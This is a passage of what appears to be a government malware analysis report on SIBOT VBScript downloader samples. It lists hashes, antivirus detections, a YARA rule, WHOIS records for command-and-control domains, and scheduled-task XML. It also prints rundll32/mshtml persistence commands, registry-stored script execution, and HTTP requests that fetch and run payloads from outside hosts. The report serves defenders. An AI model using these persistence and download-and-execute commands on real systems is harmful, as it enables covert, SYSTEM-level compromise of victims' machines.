Registrar Registration Expiration Date: 2022-12-17T07:00:00Z
Registrar: NameSilo, LLC

Registrar IANA ID: 1479
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Domain Status: clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: Domain Administrator
Registrant Organization: See PrivacyGuardian.org
Registrant Street: 1928 E. Highland Ave. Ste F104 PMB# 255
Registrant City: Phoenix
Registrant State/Province: AZ
Registrant Postal Code: 85016
Registrant Country: US
Registrant Phone: +1.3478717726
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: pw-82f809367ca4aef6cfb7b46bcb7f880c@privacyguardian.org
Registry Admin ID:
Admin Name: Domain Administrator
Admin Organization: See PrivacyGuardian.org
Admin Street: 1928 E. Highland Ave. Ste F104 PMB# 255
Admin City: Phoenix
Admin State/Province: AZ
Admin Postal Code: 85016
Admin Country: US
Admin Phone: +1.3478717726
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: pw-82f809367ca4aef6cfb7b46bcb7f880c@privacyguardian.org
Registry Tech ID:
Tech Name: Domain Administrator
Tech Organization: See PrivacyGuardian.org
Tech Street: 1928 E. Highland Ave. Ste F104 PMB# 255
Tech City: Phoenix
Tech State/Province: AZ
Tech Postal Code: 85016
Tech Country: US
Tech Phone: +1.3478717726
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: pw-82f809367ca4aef6cfb7b46bcb7f880c@privacyguardian.org
Name Server: NS1.DNSOWL.COM
Name Server: NS2.DNSOWL.COM
Name Server: NS3.DNSOWL.COM
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

Relationships

megatoolkit.com	Connected_From	4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec

Description

bootcats.exe (4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec) attempts to connect to this domain.

bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df

Details

Name	runlog.dat.tmp
Size	235 bytes
Type	ASCII text, with no line terminators
MD5	aaf144c8c647a0f7f807e203921dc244
SHA1	510336020a32652cb65891ad9fde3b2a60f9a768
SHA256	bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df
SHA512	6a861468536c83626a0636adc517a48e4a5a022fea6f1e28bde3a43b1121d5b98734533e2f8c1943d9c5e075597139cd34ae6f5e1f75f9981
ssdeep	3:oc2XPd1k1NjViOUjQ3EGqqxBo2JsKGNoLYWBiUvxwy3zeaDKkUg+mTe8G9t4WrQ8:52fdWHj47sYqHls7Wra/kU5MeX0ST7v
Entropy	5.800454

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

bc7a3b3cfa...	Dropped_By	4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec

Description

This file is a text file that was dropped by bootcats.exe. Runlog.dat.tmp is encrypted using a key unique to each sample, but based on previous reporting it is almost certainly a configuration file. If the file does not already exist in the same directory as the malware, it will be created at runtime.

7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb

Tags

botdownloaderloadertrojan

Details

Name	rundll32registry_createremoteregistry.vbs
Size	26789 bytes
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	4fd640185f229d0ef142899c54024615
SHA1	3d3ccd9445aeb07499a91250686c84a737bfa013
SHA256	7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb
SHA512	44fb8d7c2e19c3d3f135583e818532ec2db42e0b9f548e38fd44939a574af123521051eadcecbcf70908383bb27f92c55b2a8bacf07995c5b9
ssdeep	384:zYxnffSvor4lD1ok0JQCnaUfDnFO1AnKAn/jUfFYtYEYBhj:46/ok09tUfFYtYEYBhj
Entropy	3.305791

Antivirus

Microsoft Security Essentials	TrojanDownloader:VBS/Sibot.A!dha

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a VBscript that has been identified a variant of MISPRINT/SIBOT malware designed to install an obfuscated second stage VBScript into the Windows registry keys below:

--Begin registry keys--
hKey = HKEY_LOCAL_MACHINE
Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\sibot"
ValueName = "(Default)"
Data = "obfuscated second stage VBScript"
--End registry keys--

The embedded VBScript is executed by "rundll32registry_schtaskdaily.vbs (acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66).

"Final_vbscript.vbs" (a9037af30ff270901e9d5c2ee5ba41d547bc19c880f5cb27f50428f9715d318f) is the de-obfuscated VBScript.

Screenshots

Figure 2 - The content of the script used to install an obfuscated second stage VBScript malware into the Windows registry keys.

Figure 3 - The registry key value containing the obfuscated second stage VBscript.

acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66

Tags

bottrojan

Details

Name	rundll32registry_schtaskdaily.vbs
Size	3409 bytes
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	15b3856e59a242577d83275279ed70e0
SHA1	65d3a466d65e6f7df813f83c25d828e04488a1c7
SHA256	acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66
SHA512	714d76e8da8d9016ef7b7351d67dba0c7a24930bad52958b86a05ff878d6506edbed48076a6f245cff1eb670dd75b0c5d317717cd494b0a5
ssdeep	96:xCKjZrAuFT3M6tsKXbdUKrsGrkLgTe1HDM3wmD2GQ09LUF:rLFwNsseyvV058
Entropy	5.608919

Antivirus

BitDefender	Trojan.Agent.FEBT
Emsisoft	Trojan.Agent.FEBT (B)
Lavasoft	Trojan.Agent.FEBT
Microsoft Security Essentials	Trojan:VBS/Sibot.B!dha

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a VBscript that has been identified a variant of MISPRINT/SIBOT malware designed to create a schedule task service that uses Microsoft HTML Application (MSHTA) to execute the obfuscated second stage VBScript (7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb) from the Windows registry key: "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\sibot."

Displayed below is the schedule task service information:

--Begin schedule task--
Name: "WindowsUpdate"
Description: "This boot task launches the SIH client to finish executing healing actions to fix the system components vital to automatic updating of Windows and Microsoft software installed on the machine. It is enabled only when the daily SIH client task fails to c"
Arguments: "vbscript:\"\\..\\mshtml,RunHTMLApplication \"+Execute(CreateObject(\"WScript.Shell\").RegRead(\"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\sibot\\\")) (window.close)"
Path: rundll32
--End schedule task--

It runs the command below daily:

--Begin command--
"rundll32 vbscript:\"\\..\\mshtml,RunHTMLApplication \"+Execute(CreateObject(\"WScript.Shell\").RegRead(\"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\sibot\\\")) (window.close)"
--End command--

Displayed below is the content of the script daily scheduled task Extensible Markup Language (XML) created at the time of analysis:

--Begin scheduled task XML--
<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n
<Task version=\"1.2\"
  xmlns=\"hxxp[:]//schemas.microsoft.com/windows/2004/02/mit/task\">\r\n
  <RegistrationInfo>\r\n
    <Description>This boot task launches the SIH client to finish executing healing actions to fix the system components vital to automatic updating of Windows and Microsoft software installed on the machine. It is enabled only when the daily SIH client task fails to c</Description>\r\n
  </RegistrationInfo>\r\n
  <Triggers>\r\n
    <CalendarTrigger id=\"DailyTriggerId\">\r\n
      <StartBoundary>2021-03-12T18:27:56</StartBoundary>\r\n
      <ExecutionTimeLimit>PT10M</ExecutionTimeLimit>\r\n
      <Enabled>true</Enabled>\r\n
      <ScheduleByDay>\r\n
        <DaysInterval>1</DaysInterval>\r\n
      </ScheduleByDay>\r\n
    </CalendarTrigger>\r\n
  </Triggers>\r\n
  <Principals>\r\n
    <Principal>\r\n
      <RunLevel>HighestAvailable</RunLevel>\r\n
    </Principal>\r\n
  </Principals>\r\n
  <Settings>\r\n

```
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>\r\n
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>\r\n
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>\r\n
    <AllowHardTerminate>true</AllowHardTerminate>\r\n
    <StartWhenAvailable>true</StartWhenAvailable>\r\n
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n
    <IdleSettings>\r\n
      <Duration>PT10M</Duration>\r\n
      <WaitTimeout>PT1H</WaitTimeout>\r\n
      <StopOnIdleEnd>true</StopOnIdleEnd>\r\n
      <RestartOnIdle>false</RestartOnIdle>\r\n
    </IdleSettings>\r\n
    <AllowStartOnDemand>true</AllowStartOnDemand>\r\n
    <Enabled>true</Enabled>\r\n
    <Hidden>true</Hidden>\r\n
    <RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n
    <WakeToRun>false</WakeToRun>\r\n
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>\r\n
    <Priority>7</Priority>\r\n
  </Settings>\r\n
  <Actions>\r\n
    <Exec>\r\n
      <Command>rundll32</Command>\r\n
      <Arguments>vbscript:\"\\..\\mshtml,RunHTMLApplication
\"+Execute(CreateObject(\"WScript.Shell\").RegRead(\"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\sibot\\\\\"))
(window.close)</Arguments>\r\n
    </Exec>\r\n
  </Actions>\r\n
</Task>"
--End scheduled task XML--
```

Screenshots

Figure 4 - The content of the vbscript used to create the schedule task service.

88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07

Tags

botdownloaderloadertrojan

Details

Name	prnmngrz.vbs
Size	13660 bytes
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	9812bb73079a739b97f2c3927ad764ba
SHA1	bec3f2a9496a0f11696debf267ba7caf1c81a9a7
SHA256	88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07
SHA512	c6ff6f40c13cd0d60576e06259579af8f087f1a1a0e70429c4ae40feb3156c626b1b43c1072bb7b693c55236d69f00bdefdd062f22b2bcaa9c
ssdeep	192:bz7Zhi5jjOB5U1WTQ7dkGixbKOXUHiMLNYy+n8C:bZB8WqaaOXUHiMLNYrnp
Entropy	4.988488

Antivirus

Microsoft Security Essentials	TrojanDownloader:VBS/Sibot.A!dha

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

88cd1bc85e...	Connected_To	eyetechltd.com

Description

This file contains the obfuscated VBScript and has been identified a variant of MISPRINT/SIBOT malware. When executed, it collects the connection Globally Unique Identifier (GUID) associated to the local area network (LAN) connection and the address of a proxy if configured on the victim's system. It attempts to download a malicious payload from its C2 server using the URI below:

--Begin URI--
"hxxps[:]//www[.]eyetechltd.com/wp-content/themes/betheme/includes"
--End URI--

The HTTP request header contains the extracted connection GUID in the "If-Range" field.

Displayed below is the HTTP request used to download the payload from its C2 server:

--Begin request--
GET /wp-content/themes/betheme/includes HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
If-Range: AACF144C-0770-4FE3-B92B-A4BE71D2F9B9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/78.0.3904.108 Safari/537.36
Host: www[.]eyetechltd.com
--End request--

The payload was not available for analysis. Analysis indicates that the downloaded payload (DLL) will be installed and executed from "c:\windows\system32\drivers\mshidkmdfc.sys" with the command below:

--Begin command--
"rundll32 mshidkmdfc.sys,Control_DllRun"
--End command--

Displayed below are sample de-obfuscated strings from the script:

--Begin strings--
"USER-AGENT"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
"If-Range"
"WINMGMTS:{IMPERSONATIONLEVEL=IMPERSONATE}!\\\\.\\ROOT\\DEFAULT:STDREGPROV"
"WINMGMTS:{IMPERSONATIONLEVEL=IMPERSONATE}!\\\\.\\ROOT\\MICROSOFT\\HOMENET"
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS"
"PROXYENABLE"
"rundll32 mshidkmdfc.sys,Control_DllRun"
"c:\\windows\\system32\\drivers"
"https[:]//www[.]eyetechltd.com/wp-content/themes/betheme/includes"
"MSXML2.SERVERXMLHTTP.6.0"
"WINHTTP.WINHTTPREQUEST.5.1"
"SELECT * FROM HNET_CONNECTION"
"GET"
--End strings--

Screenshots

Figure 5 - The content of the VBscript used to download a malicious payload from its C2 server.

eyetechltd.com

Tags

command-and-control

URLs

- eyetechltd.com/wp-content/themes/betheme/includes

Ports

- 443 TCP

HTTP Sessions

- GET /wp-content/themes/betheme/includes HTTP/1.1
  Connection: Keep-Alive
  Accept: */*
  Accept-Language: en-us
  If-Range: AACF144C-0770-4FE3-B92B-A4BE71D2F9B9
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
  Host: www[.]eyetechltd.com

Whois

Domain Name: EYETECHLTD.COM
Registry Domain ID: 135677917_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.tucows.com
Registrar URL: http://tucowsdomains.com
Updated Date: 2020-07-30T09:39:33
Creation Date: 2004-11-23T16:54:52
Registrar Registration Expiration Date: 2022-11-23T16:54:52
Registrar: TUCOWS, INC.
Registrar IANA ID: 69
Reseller: OnDNet Services Ltd
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Registry Registrant ID:
Registrant Name: REDACTED FOR PRIVACY
Registrant Organization: REDACTED FOR PRIVACY
Registrant Street: REDACTED FOR PRIVACY
Registrant City: REDACTED FOR PRIVACY
Registrant State/Province: Msida
Registrant Postal Code: REDACTED FOR PRIVACY
Registrant Country: MT
Registrant Phone: REDACTED FOR PRIVACY
Registrant Phone Ext:
Registrant Fax: REDACTED FOR PRIVACY
Registrant Fax Ext:
Registrant Email: https://tieredaccess.com/contact/6e7ea567-7210-4645-a3e9-c430d1ec2730
Registry Admin ID:
Admin Name: REDACTED FOR PRIVACY
Admin Organization: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin City: REDACTED FOR PRIVACY
Admin State/Province: REDACTED FOR PRIVACY
Admin Postal Code: REDACTED FOR PRIVACY
Admin Country: REDACTED FOR PRIVACY

Admin Phone: REDACTED FOR PRIVACY
Admin Phone Ext:
Admin Fax: REDACTED FOR PRIVACY
Admin Fax Ext:
Admin Email: REDACTED FOR PRIVACY
Registry Tech ID:
Tech Name: REDACTED FOR PRIVACY
Tech Organization: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech City: REDACTED FOR PRIVACY
Tech State/Province: REDACTED FOR PRIVACY
Tech Postal Code: REDACTED FOR PRIVACY
Tech Country: REDACTED FOR PRIVACY
Tech Phone: REDACTED FOR PRIVACY
Tech Phone Ext:
Tech Fax: REDACTED FOR PRIVACY
Tech Fax Ext:
Tech Email: REDACTED FOR PRIVACY
Name Server: ernest.ns.cloudflare.com
Name Server: marjory.ns.cloudflare.com
DNSSEC: unsigned
Registrar Abuse Contact Email: domainabuse@tucows.com
Registrar Abuse Contact Phone: +1.4165350123
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

Relationships

eyetechltd.com	Connected_From	88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07

Description

prnmngrz.vbs (88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07) attempts to connect to this domain.

a9037af30ff270901e9d5c2ee5ba41d547bc19c880f5cb27f50428f9715d318f

Tags

botdownloaderloadertrojan

Details

Name	Final_vbscript.vbs
Size	12928 bytes
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	98c8f536eb39821fa4a98e80bbad81af
SHA1	10b492375c838ce87fc3f2f648de84e3a1443ae6
SHA256	a9037af30ff270901e9d5c2ee5ba41d547bc19c880f5cb27f50428f9715d318f
SHA512	b894d9b68578d47955665225458ac3727f4d5de5ea6e2e882bb60cc0d4917554d28de85a3489e0f0ec33cbb99b69d2aac3a266e3723baae0
ssdeep	192:GHne1RISnxSQc6Hv1t7iaLA8G/5c+Cb5E94RqS6S8Mn4jkaA9c1:GHne157i6G/5c+O5e/S6SmkX9c1
Entropy	4.961650

Antivirus

Microsoft Security Essentials	TrojanDownloader:VBS/Sibot.A!dha

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file contains the de-obfuscated second stage VBScript (7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb) embedded in the Windows registry "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\sibot\{Default}." The script is obfuscated and when executed, it collects the connection GUID associated to the LAN connection and the address of a proxy if configured on the victim's system. It attempts to download a malicious payload from a C2 server. Note: The C2 server was identified as a compromised domain and was redacted for privacy.

The HTTP request header contains the extracted connection GUID in the "X-XSRF-TOKEN" field.

Displayed below is the HTTP request used to download the payload from its C2 server:

--Begin request--
GET /includes HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: Chromium/78.0.3882.0 Linux
X-XSRF-TOKEN: AACF144C-0770-4FE3-B92B-A4BE71D2F9B9
Host: [Redacted]
--End request--

The payload was not available for analysis. Analysis indicates that the downloaded payload will be installed and executed from "c:\windows\system32\drivers\netioc.sys" with the command below:

--Begin command--
"rundll32 netioc.sys,NdfRunDllDuplicateIPDefendingSystem"
--End command--

Displayed below are sample de-obfuscated strings from the script:

--Begin strings--
"USER-AGENT"
"Chromium/78.0.3882.0 Linux"
"X-XSRF-TOKEN"
"WINMGMTS:{IMPERSONATIONLEVEL=IMPERSONATE}!\\\\.\\ROOT\\DEFAULT:STDREGPROV"
"WINMGMTS:{IMPERSONATIONLEVEL=IMPERSONATE}!\\\\.\\ROOT\\MICROSOFT\\HOMENET"
"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS"
"PROXYENABLE"
"rundll32 mshidkmdfc.sys,Control_DllRun"
"c:\\windows\\system32\\drivers"
"[Redacted C2]”
"MSXML2.SERVERXMLHTTP.6.0"
"WINHTTP.WINHTTPREQUEST.5.1"
"SELECT * FROM HNET_CONNECTION"
"GET"
--End strings--

Screenshots

Figure 6 - The code snippet of the final de-obfuscated vbscript embedded in the Windows registry "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\sibot\(Default) used to download the malicious payload from its C2 server.

e9ddf486e5aeac02fc279659b72a1bec97103f413e089d8fabc30175f4cdbf15

Tags

bottrojan

Details

Name	rundll32file_schtaskdaily.vbs
Size	3270 bytes
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	97306a881289b3c32085d0901b6d08a7
SHA1	1075639fb7d97ade8bcbe86d38835ac1b71e6237
SHA256	e9ddf486e5aeac02fc279659b72a1bec97103f413e089d8fabc30175f4cdbf15
SHA512	de4e1aaa87b7b38b831a5450c557c3b22a2866b7fb871af3ac7cdf0c208739e01cd86aa9ef7cfd645d95a3993f5f6eefdbe513e8d2af4812a32
ssdeep	96:yG/J/WXQGApwj3Fv2tOiFbTLyD1rvdr1dD2PVLFi+:yG/RWXIw1EpTLa1rFr1KLFi+
Entropy	5.622366

Antivirus

Microsoft Security Essentials	Trojan:VBS/Sibot.B!dha

YARA Rules

- rule CISA_3P_10327841_04 : SIBOT trojan bot vbscript
  {
  meta:
  Author = "CISA Trusted Third Party"
  Incident = "10327841"
  Date = "2021-03-26"
  Actor = "n/a"
  Category = "Trojan BOT VBScript"
  Family = "SIBOT"
  Description = "Detects Scheduled Task persistence for sibot variant AikCetnrll"
  strings:
  $a1 = "Actions.Create" fullword ascii
  $a2 = "RegistrationInfo" fullword ascii
  $a3 = "StartWhenAvailable" fullword ascii
  $z1 = "\\Microsoft\\Windows\\CertificateServicesClient" fullword ascii
  $z2 = "CreateObject(\"Schedule.Service\")" fullword ascii
  $z3 = "c:\\windows\\system32\\printing_admin_scripts\\en-us\\prndrvrn.vbs" fullword ascii
  $z4 = "AikCetnrll" fullword ascii
  $z5 = "This task enrolls a certificate for Attestation Identity Key" fullword ascii
  condition:
  (3 of ($a*) and 5 of ($z*))
  }

ssdeep Matches

No matches found.

Description

"Rundll32file_schtaskdaily.vbs" is a VBScript that creates a scheduled task that executes "prndrvrn.vbs" (CB80A074E5FDE8D297C2C74A0377E612B4030CC756BAF4FFF3CC2452EBC04A9C) daily. The file "prndrvrn.vbs" is a variant of the Sibot obfuscated VBScript malware. Despite not containing the string “sibot” at all, both "rundll32file_schtaskdaily.vbs" and "prndrvrn.vbs" are clearly related to existing Sibot samples as reported on by Microsoft and Mandiant because the form, function, and obfuscation algorithms of the scripts are identical. The files differ slightly in specific details of the scheduled task. "Rundll32file_schtaskdaily.vbs" is similar to variant B per previous Microsoft reporting. The only difference is that the scheduled task points to a file on disk instead of the registry. See analyst notes at the end of the report for further details on the variations.

When run without admin credentials, the Windows Script Host provides a pop up with a Permission denied error. When run with admin credentials, rundllfile_schtaskdaily.vbs script begins running inside of the WScript.exe process.

The WScript.exe process creates a scheduled task similar to AikCertEnrollTask, a legitimate task:
Task Name: AikCetnrll
Location: \Microsoft\Windows\CertificateServicesClient
Also found on disk in: C:\Windows\System32\Taks\Microsoft\Windows\CertificateServicesClient\AikCetnrll
Description: This task enrolls a certificate for an Attestation Identity Key. (Same as AikCertEnrollTask)
Credentials: NT AUTHORITY\SYSTEM
Security Options: Run with highest Privileges; Run whether user is logged on or not; hidden.

Every day the task is set to run five minutes after initial run time of the script. Ex: Script was run at 1400 the scheduled task will run every day at 1405.
The task executes a rundll32.exe inside a svchost.exe with the arguments:
vbscript:"\..\mshtml,RunHTMLApplication"+Execute(CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\windows\system32\printing_adr
us\prndrvn.vbs").ReadAll())(window.close)

This ultimately runs the prndrvrn.vbs inside “C:\Windows\System32\Printing_Admin_Scripts\en-us\” daily, with SYSTEM level privileges.
This also means that prndrvrn.vbs must be placed inside the “en-us” folder in order for the scheduled task to run properly.

All variables and Task Scheduler Scripting Objects are obfuscated, but can be determined by referencing the Task Scheduler Scripting Object Microsoft documentation.

Strings of interest:

--Begin strings of interest--
StartWhenAvailable
Hidden
DateAdd
StartBoundary
Id
Enabled
ExecutionTimeLimit = “PT10M”
.Actions.Create(
Schedule.Service
\Microsoft\Windows\CertificateServicesClient
This task enrolls a certificate for Attestation Identity Key.
DailyTriggerId
.Paths = “rundll32”
.Arguments = “vbscripts:””\..mshtml,RunHTMLApplication
“”Execute(CreateObject(“”Scripting.FileSystemObject””).OpenTextFile(“”c:\windows\system32\printing_admin_scripts\en-us\prndrvrn.vbs””).ReadAll()(window.close)”
RegisterTaskDefinition(“AikCetnrll”
NT AUTHORITY\SYSTEM
--End strings of interest--

Script needs administrator privileges to run correctly.
The Task Name is different from previously-reported Sibot samples.
  AikCetnrll
Task Location is different from previously-reported Sibot samples.
  Task Scheduler Library > Microsoft > Windows > CertificateServicesClient
  Or
  C:\Windows\System32\Taks\Microsoft\Windows\CertificateServicesclient
Task Description is different from previously-reported Sibot samples.
  “This task enrolls a certificate for Attestation Identity Key”
Scheduled Task Action is different than previously-reported Sibot samples.
Task Trigger is the same and executes five minutes after initial script runtime.

Task Scheduler Operational Event ID – 140 – User “NT AUTHORITY\SYSTEM” updated Task Scheduler task “\Microsoft\Windows\CertificateServicesClient\AikCetnrll”.

cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c

Tags

botdownloaderloadertrojan

Details

Name	prndrvrn.vbs
Size	13110 bytes
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	a16f6291e6096cfc2cc901050b922b9e
SHA1	1798d1b45d9dd8c5afd4b0a43490233f61864da3
SHA256	cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c
SHA512	260b88a05d9404efce4611a6576e7fddd76b1f92087ccc0c5d8ae757c939e4fc463a35a2f2c19317f64fa9aa4dbbdb24b7adb2fd48d5a91948
ssdeep	192:ZTq3D3xkQN1myNlxlmuAp5m2MFSeG7+sh1Nqfu3oLixCeSezjYxAb:ZTFC8oN7KV3oLixHSezkAb
Entropy	4.949764

Antivirus

Microsoft Security Essentials	TrojanDownloader:VBS/Sibot.A!dha

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

cb80a074e5...	Connected_To	sense4baby.fr

Description

This file "prndrvrn.vbs" is a VBScript that preforms a DNS query to Sense4baby.fr followed by an HTTPS TLS1.2 connection. It is designed to download a payload, store it as a .sys file, and execute it. Prndrvrn.vbs is a variant of the Sibot obfuscated VBScript malware. Despite not containing the string “sibot”, both rundll32file_schtaskdaily.vbs and prndrvrn.vbs are clearly related to existing Sibot samples as reported on by Microsoft and Mandiant because the form, function, and obfuscation algorithms of the scripts are identical. They differ slightly in specific details of the scheduled task. Prndrvrn.vbs is variant C as described in Microsoft’s reporting.

Prndrvrn.vbs variables and .NET functions are obfuscated. The variable and function names can be de-obfuscated by comparing the structures and purposes of the functions to .NET documentation to determine what they represent. The strings in the program are obfuscated by an encoding function found towards the end of the script.

The script can run with or without administrator permissions. However, the other scripts used for persistence (rundll32file_schtasksdaily.vbs) run prndrvrn.vbs with SYSTEM level privileges.

When run, prndrvrn.vbs starts inside of Wscript.exe and immediately preforms a DNS query to Sense4baby.fr. After receiving a response it begins setting up a TLS1.2 connection. Previous reporting indicates the script tries to pull a .sys file from the URL hxxps[:]//sense4baby.fr/sites/default/files/styles with an HTTPS GET request.

After receiving the .sys, prdndrvrn.vbs executes the .sys file. Further analysis is not possible without a copy of the .sys file the script is requesting; however, the script appears identical to Microsoft reported Sibot Variant C except for the domain name, payload name, and payload path. According to Microsoft reporting, the .sys file downloaded by Sibot Variant C is actually a .dll file with the extension changed to .sys to obfuscate its true nature.

Network Artifacts
("rundll32
wudfrdm.sys,ExecuteScheduledSPPCreation","c:\windows\system32\drivers","hxxps[:]//sense4baby.fr/sites/default/files/styles","GET")

The intended purpose is to reach out and download file wudfrdm.sys from domain "hxxps[:]//sense4baby.fr/sites/default/files/styles" into folder C:\windows\system32\drivers via an HTTP GET Request

Observed in network traffic:
User Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
GUID String: "{068B2FE5-EB56-EE50-7A0C-10114EA138E3}"

sense4baby.fr

Tags

command-and-control

URLs

- sense4baby.fr/sites/default/files/styles

Whois

domain: sense4baby.fr
status: ACTIVE
hold: NO
holder-c: IANB3-FRNIC
admin-c: IANB3-FRNIC
tech-c: FK3162-FRNIC
zone-c: NFC1-FRNIC
nsl-id: NSL5536-FRNIC
dsl-id: SIGN1631703-FRNIC
registrar: HOSTING CONCEPTS B.V.
Expiry Date: 2021-07-16T14:47:29Z
created: 2019-07-16T14:47:29Z
last-update: 2020-07-14T13:07:16Z
source: FRNIC

ns-list: NSL5536-FRNIC
nserver: ns1.openprovider.nl
nserver: ns2.openprovider.be
nserver: ns3.openprovider.eu
source: FRNIC

ds-list: SIGN1631703-FRNIC
key1-tag: 19594
key1-algo: 8 [RSASHA256]
key1-dgst-t: 2 [SHA-256]
key1-dgst: F144A808B4B16BAF5D9998B8A4153C6C405A967007BD4DACE2C60A4D8A0C36C2
source: FRNIC

registrar: HOSTING CONCEPTS B.V.
type: Isp Option 1
address: Kipstraat 3c-5c
address: 3011RR ROTTERDAM
country: NL
phone: +31 10 448 2299
fax-no: +31 10 244 0250
e-mail: sales@openprovider.com
website: https://www.openprovider.com
anonymous: NO
registered: 2005-07-01T12:00:00Z
source: FRNIC

nic-hdl: IANB3-FRNIC
type: ORGANIZATION
contact: ICT Automatisering Nederland B.V.
address: ICT Automatisering Nederland B.V.
address: Munsterstraat 7
address: 7418 EV Deventer

country: NL
phone: +31.889082344
registrar: HOSTING CONCEPTS B.V.
changed: 2019-01-07T13:52:22Z nic@nic.fr
anonymous: NO
obsoleted: NO
eligstatus: ok
eligsource: REGISTRAR
eligdate: 2021-02-08T15:58:27Z
reachmedia: email
reachstatus: ok
reachsource: REGISTRAR
reachdate: 2021-02-08T15:58:27Z
source: FRNIC

nic-hdl: IANB3-FRNIC
type: ORGANIZATION
contact: ICT Automatisering Nederland B.V.
address: ICT Automatisering Nederland B.V.
address: Munsterstraat 7
address: 7418 EV Deventer
country: NL
phone: +31.889082344
registrar: HOSTING CONCEPTS B.V.
changed: 2019-01-07T13:52:22Z nic@nic.fr
anonymous: NO
obsoleted: NO
eligstatus: ok
eligsource: REGISTRAR
eligdate: 2021-02-08T15:58:27Z
reachmedia: email
reachstatus: ok
reachsource: REGISTRAR
reachdate: 2021-02-08T15:58:27Z
source: FRNIC

nic-hdl: FK3162-FRNIC
type: PERSON
address: ICT Automatisering Nederland B.V.
address: Munsterstraat 7
address: 7418 EV Deventer
country: NL
phone: +31.889082344
registrar: HOSTING CONCEPTS B.V.
changed: 2019-01-07T13:52:23Z nic@nic.fr
anonymous: NO
obsoleted: NO
eligstatus: ok
eligsource: REGISTRAR
eligdate: 2021-02-08T15:58:28Z
reachmedia: email
reachstatus: ok
reachsource: REGISTRAR
reachdate: 2021-02-08T15:58:28Z
source: FRNIC

Relationships

sense4baby.fr	Connected_From	cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c

Description

